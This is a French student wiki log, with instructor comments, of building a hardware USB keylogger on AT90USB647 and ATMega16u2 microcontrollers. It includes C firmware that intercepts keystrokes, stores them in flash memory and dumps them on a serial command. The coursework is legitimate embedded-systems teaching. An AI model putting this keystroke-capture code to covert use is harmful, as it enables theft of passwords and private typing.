ReX : Je ne crois pas à l'histoire du 0xFF, par contre je crois au recouvrement des deux envois. Tu testes avec un &amp;lt;code&amp;gt;while(!Serial_IsSendComplete());&amp;lt;/code&amp;gt; entre les deux &amp;lt;code&amp;gt;Serial_SendByte&amp;lt;/code&amp;gt; ?&lt;br /&gt;
&lt;br /&gt;
On peut retrouver les codes d'expérimentation pour comprendre le fonctionnement de la communication série avec le lien [[:Fichier:Keylogger Serial Testing.zip|ci-joint]].&lt;br /&gt;
&lt;br /&gt;
On peut voir beaucoup de ligne commentées, mais parmi elles, on peut observer les différents tests que j'ai pu effectuer pour comprendre la communication USART.&lt;br /&gt;
&lt;br /&gt;
On peut visionner la vidéo de démonstration du Keylogger via [[:Fichier:Keylogger demo video.mp4|ce lien]]&amp;lt;ref&amp;gt;Vidéo démo du Keylogger&amp;lt;/ref&amp;gt;.&lt;br /&gt;
&lt;br /&gt;
Dans la démo, on peut voir que des touches en trop sont tapées quand j'écris avec le clavier, même si je fais exprès d'écrire rapidement.&lt;br /&gt;
&lt;br /&gt;
ReX : Toujours une très bonne vidéo de démonstration.&lt;br /&gt;
&lt;br /&gt;
Par ailleurs, concernant l'initialisation des microcontrôleurs afin d'utiliser les deux programmes, c'est assez étrange mais il faut reset en premier l'AT90USB647 et dès que celui-ci est paré à fonctionner, il faut reset l'ATMEGA16U2. Sinon j'ai l'impression que d'anciens programmes se lance à la place des nouveaux ?&lt;br /&gt;
&lt;br /&gt;
ReX : Ils passent en mode DFU ?&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Benjamin : Merci pour vos retours. J'ai apporté les modifications que vous avez demandés. J'ai téléverser une nouvelle version du Keylogger qui se trouve sur [[:Fichier:Keylogger.zip|ce lien]].&lt;br /&gt;
&lt;br /&gt;
===== Modification du Keylogger =====&lt;br /&gt;
Lien vers les programmes : [[:Fichier:Keylogger.zip|clic]]&lt;br /&gt;
&lt;br /&gt;
J'ai apporté des modifications sur l'envoie et la réception des données via la liaison série, et l'ajout d'un buffer temporaire avant d'enregistrer dans la flash. De plus, j'utilise des fonctions de &amp;lt;code&amp;gt;string.h&amp;lt;/code&amp;gt; afin de rendre le code plus lisible lorsque je veux assigner des valeurs à des tableaux via les fonctions &amp;lt;code&amp;gt;memset&amp;lt;/code&amp;gt; et &amp;lt;code&amp;gt;memcpy&amp;lt;/code&amp;gt;.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Concernant les envoies d'octets via la liaison série, j'ai donc rajouté des délais avec les fonctions de la librairie &amp;lt;code&amp;gt;Serial.h&amp;lt;/code&amp;gt; de LUFA. Le déroulé se passe comme ci-dessous :&amp;lt;syntaxhighlight lang=&amp;quot;c&amp;quot;&amp;gt;&lt;br /&gt;
while(!Serial_IsSendReady());&lt;br /&gt;
Serial_SendData(tableau_de_7_octets);&lt;br /&gt;
while(!Serial_IsSendComplete());&lt;br /&gt;
.....&lt;br /&gt;
while(!Serial_IsSendComplete());&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;Et pour la réception :&amp;lt;syntaxhighlight lang=&amp;quot;c&amp;quot;&amp;gt;&lt;br /&gt;
if (Serial_IsCharReceived())&lt;br /&gt;
{&lt;br /&gt;
    uint8_t Modifier = Serial_ReceiveByte();&lt;br /&gt;
    while(!Serial_IsCharReceived());&lt;br /&gt;
    uint8_t KeyCode1 = Serial_ReceiveByte();&lt;br /&gt;
    while(!Serial_IsCharReceived());&lt;br /&gt;
    ...&lt;br /&gt;
    uint8_t KeyCode5 = Serial_ReceiveByte();&lt;br /&gt;
}&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;Donc il n'y a plus de boucle qui vérifie le code 0xFF. On n'utilise seulement les fonctions fournit par LUFA maintenant.&lt;br /&gt;
&lt;br /&gt;
De plus, j'ai ajouté les 5 autres KeyCode qui pourrait être renseigner via le rapport clavier sur l'AT90.&lt;br /&gt;
&lt;br /&gt;
On peut voir ci-dessous la nouvelle fonction de création et d'envoie de rapport clavier de l'AT90. Tout d'abord, on enregistre tout les codes à envoyé dans un tableau de 7 octets. Ainsi on a juste à utiliser la fonction &amp;lt;code&amp;gt;Serial_SendData&amp;lt;/code&amp;gt; pour envoyé en une fois tout les codes en une fois. Ensuite on vérifie si on doit passer à la page suivante dans la flash ou non, et puis on vérifie si on doit enregistrer ou non le buffer de la flash dans la mémoire, pour finir par remplir le buffer de la flash.&amp;lt;syntaxhighlight lang=&amp;quot;c&amp;quot; line=&amp;quot;1&amp;quot;&amp;gt;&lt;br /&gt;
/* Serial communication */&lt;br /&gt;
uint8_t Data_to_Send[7];&lt;br /&gt;
&lt;br /&gt;
Data_to_Send[0] = KeyboardReport.Modifier;&lt;br /&gt;
Data_to_Send[1] = KeyboardReport.KeyCode[0];&lt;br /&gt;
Data_to_Send[2] = KeyboardReport.KeyCode[1];&lt;br /&gt;
Data_to_Send[3] = KeyboardReport.KeyCode[2];&lt;br /&gt;
Data_to_Send[4] = KeyboardReport.KeyCode[3];&lt;br /&gt;
Data_to_Send[5] = KeyboardReport.KeyCode[4];&lt;br /&gt;
Data_to_Send[6] = KeyboardReport.KeyCode[5];&lt;br /&gt;
&lt;br /&gt;
while(!Serial_IsSendReady());&lt;br /&gt;
Serial_SendData(Data_to_Send, 7);&lt;br /&gt;
while(!Serial_IsSendComplete());&lt;br /&gt;
_delay_ms(10);&lt;br /&gt;
&lt;br /&gt;
/* Checking if the previous buffer was full to change pages or not */&lt;br /&gt;
if (*page_buffer_size == (FLASH_PAGE_INDEX_MAX+1)) {&lt;br /&gt;
	 *page_buffer_size = 0;&lt;br /&gt;
	(*page_actual)++;&lt;br /&gt;
}&lt;br /&gt;
&lt;br /&gt;
/* AT45DB641E communication */&lt;br /&gt;
/* Checking if the flash buffer is full */&lt;br /&gt;
if (*flash_buffer_i == FLASH_BUFFER_SIZE) {&lt;br /&gt;
	/* Recup of the data of the actual page to re-write on */&lt;br /&gt;
	uint8_t data[FLASH_PAGE_SIZE];&lt;br /&gt;
	if (*page_buffer_size != 0)&lt;br /&gt;
		AT45DB641E_read_page(&amp;amp;SPI_PORT, SPI_SS, *page_actual, data, sizeof(data), SEQ_START | SEQ_STOP);&lt;br /&gt;
&lt;br /&gt;
	memcpy(&amp;amp;(data[*page_buffer_size]), flash_buffer, FLASH_BUFFER_SIZE);&lt;br /&gt;
&lt;br /&gt;
	/* Writing in the AT45DB641E buffer before writing in the flash */&lt;br /&gt;
	AT45DB641E_write_buffer(&amp;amp;SPI_PORT, SPI_SS, data, sizeof(data), SEQ_START | SEQ_STOP);&lt;br /&gt;
&lt;br /&gt;
	/* Writing the buffer into the flash at page_actual address */&lt;br /&gt;
	AT45DB641E_write_page(&amp;amp;SPI_PORT, SPI_SS, *page_actual);&lt;br /&gt;
&lt;br /&gt;
	/* Waiting the flash finishing writing at page_actual address */&lt;br /&gt;
	while(AT45DB641E_busy(&amp;amp;SPI_PORT, SPI_SS)) {&lt;br /&gt;
		LEDs_TurnOnLEDs(LEDS_LED1);&lt;br /&gt;
	}&lt;br /&gt;
	LEDs_TurnOffLEDs(LEDS_LED1);&lt;br /&gt;
&lt;br /&gt;
	memset(flash_buffer, 0, FLASH_BUFFER_SIZE);&lt;br /&gt;
	*page_buffer_size += FLASH_BUFFER_SIZE;&lt;br /&gt;
	*flash_buffer_i = 0;&lt;br /&gt;
}&lt;br /&gt;
&lt;br /&gt;
/* Writing the Modifier and Keycodes in the flash_buffer */&lt;br /&gt;
for (int i = 0; i &amp;lt; 7; i++) flash_buffer[(*flash_buffer_i)++] = Data_to_Send[i];&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;Concernant l'envoie des touches mémorisés qui se trouvent dans la fonction &amp;lt;code&amp;gt;Flash_Task&amp;lt;/code&amp;gt; :&amp;lt;syntaxhighlight lang=&amp;quot;c&amp;quot;&amp;gt;&lt;br /&gt;
void Flash_Task(int *page_actual, int *page_buffer_size, uint8_t *flash_buffer, int *flash_buffer_i)&lt;br /&gt;
{&lt;br /&gt;
	if (Serial_IsCharReceived())&lt;br /&gt;
	{&lt;br /&gt;
		uint8_t Command_Byte = Serial_ReceiveByte();&lt;br /&gt;
&lt;br /&gt;
		if (Command_Byte == SERIAL_FLASH_RESET)&lt;br /&gt;
		{&lt;br /&gt;
			*page_actual 			= 0;&lt;br /&gt;
			*page_buffer_size = 0;&lt;br /&gt;
			memset(flash_buffer, 0, FLASH_BUFFER_SIZE);&lt;br /&gt;
			*flash_buffer_i = 0;&lt;br /&gt;
			AT45DB641E_cmd(&amp;amp;SPI_PORT, SPI_SS, 0xC7, NULL, 0);&lt;br /&gt;
			AT45DB641E_cmd(&amp;amp;SPI_PORT, SPI_SS, 0x94, NULL, 0);&lt;br /&gt;
			AT45DB641E_cmd(&amp;amp;SPI_PORT, SPI_SS, 0x80, NULL, 0);&lt;br /&gt;
			AT45DB641E_cmd(&amp;amp;SPI_PORT, SPI_SS, 0x9A, NULL, 0);&lt;br /&gt;
		}&lt;br /&gt;
&lt;br /&gt;
		if (Command_Byte == SERIAL_FLASH_GET)&lt;br /&gt;
		{&lt;br /&gt;
			int address, byte;&lt;br /&gt;
			uint8_t Data_to_Send[7];&lt;br /&gt;
			for (address = 0; address &amp;lt;= (*page_actual); address++)&lt;br /&gt;
			{&lt;br /&gt;
				uint8_t data[FLASH_PAGE_SIZE];&lt;br /&gt;
				AT45DB641E_read_page(&amp;amp;SPI_PORT, SPI_SS, address, data, sizeof(data), SEQ_START | SEQ_STOP);&lt;br /&gt;
				for (byte = 0; byte &amp;lt; (address == (*page_actual) ? *page_buffer_size : FLASH_PAGE_INDEX_MAX+1); byte += 7)&lt;br /&gt;
				{&lt;br /&gt;
					// for (k = 0; k &amp;lt; 7; k++)&lt;br /&gt;
					// 	Data_to_Send[k] = data[byte + k];&lt;br /&gt;
					memcpy(Data_to_Send, &amp;amp;(data[byte]), 7);&lt;br /&gt;
&lt;br /&gt;
					while (!Serial_IsSendReady());&lt;br /&gt;
					Serial_SendData(Data_to_Send, 7);&lt;br /&gt;
					while (!Serial_IsSendComplete());&lt;br /&gt;
					_delay_ms(10);&lt;br /&gt;
				}&lt;br /&gt;
			}&lt;br /&gt;
			for (byte = 0; byte &amp;lt; (*flash_buffer_i); byte += 7)&lt;br /&gt;
			{&lt;br /&gt;
				// for (k = 0; k &amp;lt; 7; k++)&lt;br /&gt;
				// 	Data_to_Send[k] = flash_buffer[byte + k];&lt;br /&gt;
				memcpy(Data_to_Send, &amp;amp;(flash_buffer[byte]), 7);&lt;br /&gt;
&lt;br /&gt;
				while (!Serial_IsSendReady());&lt;br /&gt;
				Serial_SendData(Data_to_Send, 7);&lt;br /&gt;
				while (!Serial_IsSendComplete());&lt;br /&gt;
				_delay_ms(10);&lt;br /&gt;
			}&lt;br /&gt;
		}&lt;br /&gt;
	}&lt;br /&gt;
}&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;Si l'octet de commande est celui du reset de la mémoire, on remet à zéro tout les indices concernant la mémoire et le buffer de la flash. Puis on appelle une commande de la flash qui consiste à réinitialiser toute la puce.&lt;br /&gt;
&lt;br /&gt;
Lorsque la commande est celui de la récupération de la mémoire, on lit et envoie toutes les données des pages mémoires dans la flash, puis on envoie aussi les données qui se trouve potentiellement dans le buffer de la flash.&lt;br /&gt;
&lt;br /&gt;
Au final, dans le programme de l'AT90, on se retrouve avec deux nouvelles variables &amp;lt;code&amp;gt;flash_buffer&amp;lt;/code&amp;gt; qui est le tableau de taille 63 (capable de stocker 9 entrées du clavier) et &amp;lt;code&amp;gt;flash_buffer_i&amp;lt;/code&amp;gt; qui nous permet de suivre l'évolution du remplissage du buffer. De plus, on peut voir l'ajout d'un délai de 10 millisecondes qui permet d'espacer chaque envoie en plus de la fonction &amp;lt;code&amp;gt;Serial_IsSendComplete&amp;lt;/code&amp;gt; afin de ne pas avoir un caractère qui saute à la réception.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Concernant le programme de l'ATMEGA, pas grand chose a changé si ce n'est la façon de recevoir les octets de données des touches tapés :&amp;lt;syntaxhighlight lang=&amp;quot;c&amp;quot;&amp;gt;&lt;br /&gt;
void CreateKeyboardReport(USB_KeyboardReport_Data_t* const ReportData)&lt;br /&gt;
{&lt;br /&gt;
	/* Clear the report contents */&lt;br /&gt;
	memset(ReportData, 0, sizeof(USB_KeyboardReport_Data_t));&lt;br /&gt;
&lt;br /&gt;
	if (Serial_IsCharReceived())&lt;br /&gt;
	{&lt;br /&gt;
		ReportData-&amp;gt;Modifier = Serial_ReceiveByte();&lt;br /&gt;
		while(!Serial_IsCharReceived());&lt;br /&gt;
		ReportData-&amp;gt;KeyCode[0] = Serial_ReceiveByte();&lt;br /&gt;
		while(!Serial_IsCharReceived());&lt;br /&gt;
		ReportData-&amp;gt;KeyCode[1] = Serial_ReceiveByte();&lt;br /&gt;
		while(!Serial_IsCharReceived());&lt;br /&gt;
		ReportData-&amp;gt;KeyCode[2] = Serial_ReceiveByte();&lt;br /&gt;
		while(!Serial_IsCharReceived());&lt;br /&gt;
		ReportData-&amp;gt;KeyCode[3] = Serial_ReceiveByte();&lt;br /&gt;
		while(!Serial_IsCharReceived());&lt;br /&gt;
		ReportData-&amp;gt;KeyCode[4] = Serial_ReceiveByte();&lt;br /&gt;
		while(!Serial_IsCharReceived());&lt;br /&gt;
		ReportData-&amp;gt;KeyCode[5] = Serial_ReceiveByte();&lt;br /&gt;
	}&lt;br /&gt;
}&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;On attends à partir de la fonction &amp;lt;code&amp;gt;Serial_IsCharReceived&amp;lt;/code&amp;gt; qu'un octet soit sur le flux de la liaison série. Puis on récupère l'octet via la fonction &amp;lt;code&amp;gt;Serial_ReceiveByte&amp;lt;/code&amp;gt;. Assez simple finalement ! = )&lt;br /&gt;
&lt;br /&gt;
= Documents Rendus =&lt;br /&gt;
[[:Fichier:Keyboard-Device-Atmega (Semaine 1).zip#file]]&lt;br /&gt;
&lt;br /&gt;
ReX : Erreur dans la fonction &amp;lt;code&amp;gt;LEDs_ToggleLEDs&amp;lt;/code&amp;gt;.&lt;br /&gt;
&lt;br /&gt;
ReX : Erreur dans le &amp;lt;code&amp;gt;makefile&amp;lt;/code&amp;gt;, la fréquence de lu quartz externe est de 8Mhz. Mettre le code ci-dessous en début de fonction &amp;lt;code&amp;gt;main&amp;lt;/code&amp;gt; :&lt;br /&gt;
 CLKSEL0 = 0b00010101;   // sélection de l'horloge externe &amp;lt;ref name=&amp;quot;:0&amp;quot; group=&amp;quot;Code associé&amp;quot; /&amp;gt;&lt;br /&gt;
 CLKSEL1 = 0b00001111;   // minimum de 8Mhz&lt;br /&gt;
 CLKPR = 0b10000000;     // modification du diviseur d'horloge (CLKPCE=1)&lt;br /&gt;
 CLKPR = 0;              // 0 pour pas de diviseur (diviseur de 1)&lt;br /&gt;
Tests AT45DB641E : [[:Fichier:TestMem CMD WR.zip|Fichiers de test mémoire]]&lt;br /&gt;
&lt;br /&gt;
Tests AT90USB647 : [[:Fichier:KeyboardHost.zip|Fichiers KerboardHost]]&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Fichiers Keylogger : [[:Fichier:Keylogger.zip|Fichiers Keylogger]] | [[:Fichier:Keyboard to PC.zip|Fichiers Keylogger sans la mémoire]] | [[:Fichier:Keylogger Serial Testing.zip|Fichiers d'expérimentation pour la liaison série]]&lt;br /&gt;
&lt;br /&gt;
=== &amp;lt;u&amp;gt;Liste des références vidéo&amp;lt;/u&amp;gt; ===&lt;br /&gt;
&amp;lt;references /&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== &amp;lt;u&amp;gt;Liste des références image&amp;lt;/u&amp;gt; ===&lt;br /&gt;
&amp;lt;references group=&amp;quot;Image&amp;quot; /&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== &amp;lt;u&amp;gt;Liste des références code&amp;lt;/u&amp;gt; ===&lt;br /&gt;
&amp;lt;references group=&amp;quot;Code associé&amp;quot; /&amp;gt;&lt;/div&gt;</summary>
		<author><name>Bnguyen1</name></author>
	</entry>
	<entry>
		<id>https://wiki-se.plil.fr/mediawiki/index.php?title=SE4_2022/2023_EC5&amp;diff=839</id>
		<title>SE4 2022/2023 EC5</title>
		<link rel="alternate" type="text/html" href="https://wiki-se.plil.fr/mediawiki/index.php?title=SE4_2022/2023_EC5&amp;diff=839"/>
		<updated>2023-08-14T20:20:43Z</updated>

		<summary type="html">&lt;p&gt;Bnguyen1 : /* Documents Rendus */&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;= Objectifs =&lt;br /&gt;
&lt;br /&gt;
Il vous est demandé de : &lt;br /&gt;
* réaliser un keylogger en partant d'un prototype réalisé par un élève des années précédentes, ce prototype comporte :&lt;br /&gt;
** un microcontrôleur AT90USB647 pour pouvoir utiliser un projet LUFA en mode hôte,&lt;br /&gt;
** un microcontrôleur ATMega16u2 pour pouvoir utiliser un projet LUFA en mode périphérique,&lt;br /&gt;
** une mémoire flash pour pouvoir sauver les touches capturées ;&lt;br /&gt;
* commencez par écrire un programme, basé sur la démonstration LUFA bas-niveau Keyboard pour vérifier que la partie ATMega16u2 de la carte fonctionne ;&lt;br /&gt;
* poursuivez en vérifiant que vous avez accès, à partir de l'AT90USB647 à la carte mémoire AT45DB641E, vous pouvez vous baser sur le code des PeiP ;&lt;br /&gt;
* vous pourrez alors tester la démonstration LUFA hôte bas-niveau KeyboardHost ;&lt;br /&gt;
* enfin terminez en récupérant les symboles lus par l'AT90USB647 sur le clavier USB pour les transmettre par UART à l'ATMega16u2 puis au PC ;&lt;br /&gt;
* il reste à stocker les symboles au passage dans la mémoire flash et à prévoir une interface particulière sur l'ATMega16u2 pour récupérer les informations.&lt;br /&gt;
&lt;br /&gt;
= Matériel nécessaire =&lt;br /&gt;
&lt;br /&gt;
Vous avez besoin du prototype de la carte keylogger et d'un Arduino configuré en programmateur AVR ISP.&lt;br /&gt;
&lt;br /&gt;
[[file:2023-keylogger-schema.png|thumb|400px|left|Schéma électronique]]&lt;br /&gt;
[[file:2023-keylogger-pcb.png|thumb|400px|right|Routage]]&lt;br /&gt;
&lt;br /&gt;
Le schéma électronique et le routage de cette carte sont donnés dans les figures ci-contre.&lt;br /&gt;
&lt;br /&gt;
Le [[file:2023-keylogger-fritzing.zip]] fichier Fritzing de la carte est disponible (à renommer en &amp;lt;code&amp;gt;.fzz&amp;lt;/code&amp;gt;).&lt;br /&gt;
&lt;br /&gt;
Le dernier projet sur ce sujet est disponible sur l'ancien Wiki [https://wiki-ima.plil.fr/mediawiki//index.php/IMA4_2020/2021_EC2].&lt;br /&gt;
&lt;br /&gt;
&amp;lt;div style=&amp;quot;clear: both;&amp;quot; /&amp;gt;&lt;br /&gt;
&lt;br /&gt;
= Travail réalisé =&lt;br /&gt;
&lt;br /&gt;
=== &amp;lt;u&amp;gt;Semaine 1&amp;lt;/u&amp;gt; ===&lt;br /&gt;
En premier temps, je me suis intéressé au fonctionnement, aux outils et librairie nécessaire au fonctionnement de la librairie LUFA.&lt;br /&gt;
&lt;br /&gt;
J'ai donc essayé de comprendre comment créer un projet LUFA grâce aux démos, d'installer les programmes tel que dfu-programmer et avr-gcc.&lt;br /&gt;
&lt;br /&gt;
Cependant, n'ayant pas de PC natif linux, j'ai d'abord essayer avec Windows Sous Linux (qui est la solution que j'ai utilisé tout au long de l'année) mais je n'arrivais pas à apercevoir le périphérique USB de la carte Atmega16u2, j'ai donc essayé d'installer et utiliser une VM Linux et j'ai pu lier le périphérique DFU Bootloader de l'Atmega vers la VM afin de téléverser le programme de démo device : Keyboard.&lt;br /&gt;
[[Fichier:Capture d'écran Ouverture Fritzing.png|vignette]]&lt;br /&gt;
J'ai essayé d'ouvrir le fichier schématique de la carte électronique qui fonctionne très bien, mis à part trois fichier/modèle manquant dans l'archive comme les boutons reset et l'AT90. Ainsi, j'ai pu déterminer où été branché les leds à l'Atmega afin de configurer le programme de démo LUFA. &lt;br /&gt;
&lt;br /&gt;
J'ai réussi à téléverser un programme et à contrôler les leds de la carte électronique du côté de l'Atmega, mais je pense qu'il doit toujours y avoir des erreurs dans la configuration du programme. En effet, lorsque je regarde la description du périphérique USB de l'Atmega, j'observe qu'il n'y a pas d'Endpoint présent dans la description.&lt;br /&gt;
&lt;br /&gt;
Enfin, je n'arrivais pas à récupérer une fonction de délai afin de faire clignoter les leds, donc j'ai essayé d'implémenter les boutons de la carte électronique qui fonctionne bel et bien, plus qu'à regarder la vidéo pour voir le code à l'action !&lt;br /&gt;
&lt;br /&gt;
&amp;lt;u&amp;gt;Vidéo :&amp;lt;/u&amp;gt;  [[:Fichier:EC5-Semaine1.mp4]]&amp;lt;ref&amp;gt;Vidéo rapport semaine 1&amp;lt;/ref&amp;gt;&lt;br /&gt;
&lt;br /&gt;
ReX : Impossible de voir quelle erreur tu as fait pour les LED : pas de code dans le Wiki.&lt;br /&gt;
&lt;br /&gt;
ReX : La vidéo n'existe plus merci de la télécharger dans le Wiki.&lt;br /&gt;
&lt;br /&gt;
ReX : La fonction de délai est &amp;lt;code&amp;gt;_delay_ms&amp;lt;/code&amp;gt;, le fichier d'inclusion nécessaire est &amp;lt;code&amp;gt;util/delay.h&amp;lt;/code&amp;gt;.&lt;br /&gt;
&lt;br /&gt;
=== &amp;lt;u&amp;gt;Semaine 2&amp;lt;/u&amp;gt; ===&lt;br /&gt;
&lt;br /&gt;
L'erreur apparaît car la fonctionnalité USB côté Atmega16u2 n'est pas implémenter/implémentable.&lt;br /&gt;
&lt;br /&gt;
ReX : Cette phrase n'a pas de sens l'ATMega16u2 est bien doté d'une implantation USB matérielle. A la livraison du matériel j'ai aussi montré le bon fonctionnement du mode DFU/USB et la façon d'y faire entre le microcontrôleur.&lt;br /&gt;
&lt;br /&gt;
ReX : Au vu des erreurs dans le projet LUFA je crois comprendre ce que vous voulez dire c'est que vos erreurs dans le projets LUFA font que la fonctionnalité USB de ce projet est défaillante. Corrigez, testez à nouveau ...&lt;br /&gt;
[[Fichier:Image.png|vignette]]&lt;br /&gt;
Benjamin : Après avoir corriger le code pour le 16u2, j'ai essayé d'implémenter un code pour l'USB647, mais lorsque je regarde dans mes périphériques, mon ordinateur ne reconnaît pas ... J'ai essayé de voir dans les travaux déjà réalisé et ai trouvé qu'il y'avait une manière particulière de bootloader le micro contrôleur (à la même manière qu'avec le 16u2) &amp;lt;ref group=&amp;quot;Image&amp;quot;&amp;gt;[[:Fichier:Keyboard problem2.jpg]]&amp;lt;/ref&amp;gt;, mais le périphérique reste inconnu pour ma machine.&lt;br /&gt;
&lt;br /&gt;
Benjamin : J'ai réussi à trouver le périphérique en téléchargeant le logiciel [https://www.microchip.com/en-us/development-tool/flip FLIP] et en suivant cette vidéo (&amp;lt;nowiki&amp;gt;https://youtu.be/Vd0F0XHzchY&amp;lt;/nowiki&amp;gt;).&lt;br /&gt;
&lt;br /&gt;
ReX : Tu tentes de faire le projet sous windows ?&lt;br /&gt;
&lt;br /&gt;
Benjamin : Non, j'utilise une VM Linux pour faire le projet, mais je n'ai que des machines Windows chez moi et impossible de Dual Boot mon PC.&lt;br /&gt;
&lt;br /&gt;
ReX ; Dans ce cas tu peux affecter le périphèrique USB en mode DFU à la machine virtuelle et téléverser avec &amp;lt;code&amp;gt;dfu-programmer&amp;lt;/code&amp;gt;.&lt;br /&gt;
&lt;br /&gt;
ReX : Une preuve du fonctionnement pour l'ATMega16u2 ?&lt;br /&gt;
&lt;br /&gt;
Benjamin : Non, il n'y a pas de preuve du fonctionnement de l'ATMega16u2 concernant la partie USB, néanmoins de part la consigne de la première étape qui m'a été donné ci-dessus, il est question de vérifier le fonctionnement du microcontrôleur et donc de savoir si il est aussi possible de téléverser un programme sur celui-ci. On peut donc voir par la vidéo fourni la semaine dernière que le microcontrôleur fonctionne correctement, sans pour autant avoir la partie USB fonctionnelle.&lt;br /&gt;
&lt;br /&gt;
Cependant, en téléversant la démo fourni par LUFA, on voit que l'ATMega16u2 prend le contrôle de mon clavier [[:Fichier:Video-atmega16u2-usb.mp4|(voir vidéo)]]&amp;lt;ref&amp;gt;[[:Fichier:Video-atmega16u2-usb.mp4|Video-atmega16u2-usb]]&amp;lt;/ref&amp;gt;.&lt;br /&gt;
&lt;br /&gt;
ReX : Heu je te vois taper sur ton clavier ?&lt;br /&gt;
&lt;br /&gt;
Benjamin : J'ai essayé de voir pour résoudre le problème concernant la connexion à l'USB647, mais je n'ai toujours pas de solution. J'essaie de voir pour emprunter une machine à un ami qui soit sous booté sous Linux afin de voir si le problème vient du système d'exploitation.&lt;br /&gt;
&lt;br /&gt;
ReX : Heu, alors 1) faire SE sans machine Linux c'est quand même un problème 2) au pire démarre un Linux live sur une clef USB. Tu vas quand même pas t'arrêter sur ce genre de détail !&lt;br /&gt;
&lt;br /&gt;
=== &amp;lt;u&amp;gt;Semaine 3&amp;lt;/u&amp;gt; ===&lt;br /&gt;
Benjamin : J'ai booté un ancien PC avec une distribution Linux et j'arrive enfin à utiliser l'AT90USB647. J'ai alors configuré le code réalisé par les PeiP en renseignant les bonnes informations à propos de la Flash et des Leds. Cependant, en téléversant mon programme, les leds ne s'allume pas, j'ai essayé de regarder si la tension était bonne aux broches des Leds (Broches F5 et F6) et il semble que la tension délivré soit la basse impédance. &lt;br /&gt;
&lt;br /&gt;
&amp;lt;u&amp;gt;Fichier :&amp;lt;/u&amp;gt; [[:Fichier:MassStoragePeiP.zip|Archive Code_AT90USB]]&lt;br /&gt;
&lt;br /&gt;
&amp;lt;u&amp;gt;Question :&amp;lt;/u&amp;gt; Y'a t'il des choses à configurer correctement afin d'utiliser l'AT90USB ? Car dans l'état, je ne peux pas savoir si tout fonctionne sans témoin visuel. &lt;br /&gt;
&lt;br /&gt;
Update : Tout fonctionne concernant l'AT90USB647, les LEDS avaient été soudées à l'envers.&lt;br /&gt;
&lt;br /&gt;
=== &amp;lt;u&amp;gt;Semaine 4&amp;lt;/u&amp;gt; ===&lt;br /&gt;
Pendant cette semaine, j'ai essayé de mettre en place les deux démos de la librairie LUFA : MassStorage et KeyboardHost, énoncés dans les tâches à effectuer ci-dessus.&lt;br /&gt;
&lt;br /&gt;
ReX : J'ai beau chercher je vois pas où j'ai demandé de tester MassStorage sur l'AT90USB, dans mon esprit c'était les programmes de test de la mémoire qui peuvent se trouver sur le site des BE SE PeiP.&lt;br /&gt;
&lt;br /&gt;
Benjamin : Je pense que je suis parti sur MassStorage car en fouillant sur le [https://peip-ima.plil.fr/mediawiki/index.php/BE_2022-2023 wiki] j'avais trouvé ce [https://peip-ima.plil.fr/mediawiki/images/6/6b/MassStoragePeiP.zip fichier], alors que vous faisiez référence à ce [https://peip-ima.plil.fr/mediawiki/index.php/Binome2019-2 projet].&lt;br /&gt;
&lt;br /&gt;
''&amp;lt;u&amp;gt;MassStorage :&amp;lt;/u&amp;gt;'' J'ai repris le code [[:Fichier:MassStoragePeiP.zip|MassStoragePeiP]] et ai adapté les broches de leds aux broches PD2 et PD3 qui pouvait être récupérer via des broches mâles afin de faire clignoter des leds sur une board externe, en attendant de résoudre le problème des leds souder à l'envers.&lt;br /&gt;
&lt;br /&gt;
ReX : Alors 1) ce code ne fait aucun test sur la mémoire, voir les tests TestMem, TestMemRW et TestMemRW2 comme indiqué par courriel 2) les LEDs ne marcheront pas correctement tant que l'AT90USB n'aura pas été lancé sur l'horloge interne et tant que le JTAG n'aura pas été désactivé, voir le programme Blink envoyé par courriel.&lt;br /&gt;
&lt;br /&gt;
Je pense que tout est bien configuré et tout fonctionne concernant la liaison entre l'AT90 et l'AT45 car les clignotements de leds entre chaque tâche d'appel est présent ce qui indiquerait un bon fonctionnement.&lt;br /&gt;
&lt;br /&gt;
ReX : Heu non pratiquement rien n'est correctement configuré (voir remarque précédente), de plus je ne vois où tu es sensé avoir vérifié quelque chose via les LED, le fait que tu n'indiques pas les modifications apportées en ce sens n'aide pas. Par contre l'idée d'utiliser des LED externes sur plaque d'essai est une bonne idée en attendant de réparer la carte fournie.&lt;br /&gt;
&lt;br /&gt;
'''''Update :''''' Après en avoir discuté avec ReX par mail, l'utilisation de la démo MassStorage pour tester la flash était overkill, il m'a donc donné un programme pour tester la mémoire (que l'on retrouve sur le wiki des PeiP : [https://peip-ima.plil.fr/mediawiki/index.php/Fichier:MemoireB2.zip lien]).&lt;br /&gt;
&lt;br /&gt;
ReX : Oui :)&lt;br /&gt;
&lt;br /&gt;
''&amp;lt;u&amp;gt;KeyboardHost :&amp;lt;/u&amp;gt;'' J'ai repris la démo de la librairie LUFA que je n'ai pas beaucoup modifié pour pouvoir l'utiliser, et tout semble bien fonctionner après le téléversement du programme.&lt;br /&gt;
&lt;br /&gt;
ReX : Oui mais ça aiderait d'avoir le projet pour vérifier si le JTAG est bien désactivé, si le microcontrôleur est bien lancé sur l'horloge externe, etc.&lt;br /&gt;
&lt;br /&gt;
Cependant, puisque les seuls leds que j'ai pour l'instant à ma disposition occupe les broches pour la communication UART (liaison série), je n'arrivais pas à comprendre pourquoi je n'avais pas le comportement que j'avais essayé d'avoir via le programme (clignotement de led dans certains cas et autre), avant de comprendre que les signaux que les leds recevait était la communication UART.&lt;br /&gt;
&lt;br /&gt;
ReX : Le port série est effectivement utilisé dans la démonstration LUFA pour afficher quelques touches, il faudrait plutôt que tu changes l'état de tes 2 LED si des touches bien précises sont appuyées, avec 2 LED, tu peux tester 4 touches c'est déjà ça.&lt;br /&gt;
&lt;br /&gt;
Mis à part ça, j'ai connecté un clavier via le port USB de la carte et j'observe que le clavier est bien lié à l'ordinateur qui alimente la carte électronique. Le microcontrôleur agît bien comme un clavier hôte.&lt;br /&gt;
